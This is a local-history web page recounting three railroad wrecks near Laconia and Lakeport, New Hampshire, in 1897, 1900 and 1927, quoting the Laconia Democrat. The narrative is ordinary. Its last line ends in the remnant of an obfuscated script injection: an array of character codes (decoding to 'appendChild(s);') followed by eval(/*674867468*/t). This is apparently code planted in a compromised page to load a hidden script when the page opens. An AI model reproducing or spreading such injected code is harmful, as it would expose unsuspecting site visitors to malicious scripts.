Railroad disasters

Railroad Wrecks
September 15, 1900

On September 15, 1900 two trains, one headed northbound, the other headed southbound, collided with one another just north of the Weirs station at 12:30 in the morning.  The accident instantly killed two railroad employees and seriously injured four other people, as well as left over $100,000 in damage strewn about the tracks and on the shores of Lake Winnipesaukee.   It was the worst freight wreck to occur on the White Mountain division of the Boston and Maine railroad to date.

“So great was the force of the collision that the locomotives were simply welded together, and then the forward cars, impelled by the momentum, jumped onto and over them in a wild game of leap-frog, transforming them in a twinkling from powerful machines into heaps of junk.”

Laconia Democrat 9/21/1900

The accident occurred due to conflicting or misunderstood orders issued to the crews of each train. Reportedly, the southbound train had been told that the northbound train, the regular freight, would wait for it at the Lakeport station, thus giving it free reign of the track.  Apparently, the northbound train did not receive or did not understand the orders.

The crash occurred at a difficult section of the line, where, as the track rounded a bend, there was a steep rocky cliff to one side and a drop-off into the lake on the other side.  This difficult pass proved a lucky spot for one engineer who, upon realizing his locomotive’s impending doom, leapt from the speeding train into Lake Winnipesaukee, saving his own life.

Not as lucky were Joseph Greenwood and Loring Lockwood, both originally from Vermont.  The two men’s bodies were found within the wreckage, and were assumed to have been killed instantly.  Although reported dead by many the day after the crash, one-time Laconia resident, Edwin Royce, made a steady recovery from his life-threatening injuries as the days passed.  All other injured people recovered as well.

Although wrecks like these were often nothing but terrible news, a local newspaper reported an interesting bright side to the disaster for some locals:

“…Perishable freight from the wreck was secured by residents near the scene of the accident and by parties who came in steamers, row and sail-boats.  One man picked up eight bushels of potatoes; another captured a side of beef, while canned goods, chickens, turkeys and vegetables from the wreck furnished free dinners for many people at the expense of the Boston and Maine railroad.”

Laconia Democrat 9/21/1900

September 1, 1897

The horse-drawn buggy that 28-year-old Frank W. Clay and 27-year-old Minnie B. Johnson were riding from Lakeport to Laconia in was struck by a B&MRR train on the evening of Wednesday, September 1, 1897 at a Messer Street crossing.  The two were severely injured, Clay having been thrown 106 feet from the hit, and Johnson 69 feet.  Both were found nearly dead, tangled in debris just after the crash by witnesses.  Doctors were sent for, and because there was no hospital in Laconia at the time, the two were brought to the Mount Belknap Hotel on Union Avenue in Lakeport for treatment.

Although it was apparent that Clay would have seen the oncoming train, it is unknown whether his horse became unmanageable or he misjudged the distance, because witnesses said the buggy made its way to the crossing at a gallop’s pace.  The buggy was destroyed “as though it had been a salt box” and the couple became rag-dolls.  For three days after the accident, both Clay and Johnson lay at the Mount Belknap Hotel, unconscious.  On September 4th, Johnson succumbed to her injuries.  Throughout the following weeks, Clay made a slow recovery.

April 17, 1927

Earnest Dow was killed when his automobile was struck by a train at the Messer Street railroad crossing on the afternoon of April 17, 1927. Mr. Dow was a 46-years-old farmer from Northfield, married but with no children.  The explanation reported by a local newspaper for Mr. Dow not hearing the crossing warning was that his Ford was equipped with a “winter top” which prevented the sound from coming in the vehicle.

The one passenger in Mr. Dow’s automobile was Mrs. William Murphy, a 22-year-old wife and mother of four (the youngest of her children had been born just two weeks prior to the accident).  A friend of Mrs. Murphy’s parents, Mr. Dow had just set out to take Mrs. Murphy to visit her sister in Ashland.   Mrs. Murphy suffered extensive injuries but did not lose her life in the wreck.&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);